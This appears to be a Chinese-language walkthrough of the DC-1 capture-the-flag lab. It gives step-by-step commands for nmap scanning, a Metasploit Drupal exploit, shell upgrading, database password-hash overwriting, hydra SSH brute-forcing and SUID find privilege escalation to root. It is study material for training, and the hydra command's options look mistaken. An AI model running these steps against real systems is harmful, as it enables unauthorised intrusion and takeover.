一、信息收集
首先进行常规操作
使用nmap或arp获取靶机的ip
arp-scan -l
或
nmap -sn 192.168.179.0/24 //扫描整个c段
根据mac地址可以获得靶机ip为192.168.179.144
nmap -sT --min-rate 10000 -p- 192.168.179.144
//以最低10000的速率进行全端口扫描
扫描结果:
nmap -sT -sC -sV -O -p22,80,111,39710 192.168.179.144
//对开放的端口22,80,111,39710 nmap进行TCP扫描,脚本探测,版本探测,操作系统探测。
nmap --script=vuln -p22,80,111,39710 192.168.179.144
//进行漏洞脚本扫描
二、浏览信息
查看一下80端口
使用msf查看一下drupal是否有可利用漏洞
msfdb init //启动msf前先初始化msf的数据库
msfconsole //启动msf
search drupal 7.x //
use 0
set RHOSTS 192.168.179.144 //靶机ip
run
成功进入dc1的shell环境
使用python提升shell交互性
python -c 'import pty;pty.spawn("/bin/bash")'
拿到flag1
通过flag1得到信息,让我们寻找一个config file配置文件
通过进入目录查找,最终在sites目录中找到settings.php
获得flag2
得到数据库的用户名和密码
尝试连接
mysql -udbuser -pR0ck3t
成功进入数据库
show databases;
use drupaldb;
select * from user;
发现admin的密码,密码经过加盐不易破解,所以尝试选择修改admin密码的方法来连接。
php scripts/password-hash.sh abc
use drupaldb;
update users set pass='$S$Dzf46Iekan3PByKBetTS1ZqGl0IAZO3DPIa9.yrFxR3urGZtOBif' where name='admin'; //修改密码
修改成功后就可以去80端口页面使用admin abc进行登录
dashboard中找到flag3.txt
查看/etc/passwd
发现有flag4
由于不知道密码
尝试使用hydra进行爆破
hydra -u flag4 -p /usr/share/john/password.lst 192.168.179.144 -vV -f
//字典不对可能扫不出来 -vV表示详细信息 -f表示找到后退出
得到密码orange
使用ssh进行连接
ssh flag4@192.168.179.144
得到flag4
利用suid提权
find / -perm -4000 2>/dev/null
//这是一个在Linux系统中用来查找文件权限设置为Setuid的命令。它会在整个文件系统中搜索,然后列出所有权限为Setuid的文件。通过将错误输出重定向到/dev/null,可以避免输出非必要信息。
使用find命令进行提权
find -exec /bin/sh \;
或
find -exec /bin/bash -p \;
//没有-p参数不能提权成功
//因为/bin/bash比较高级,所以它考虑的事就会多一点,它会在执行时强制把euid(suid)转化成当前用户的uid,也就是不以root权限执行。但是加一个参数-p的话就不会强制转化euid了。
得到finalflag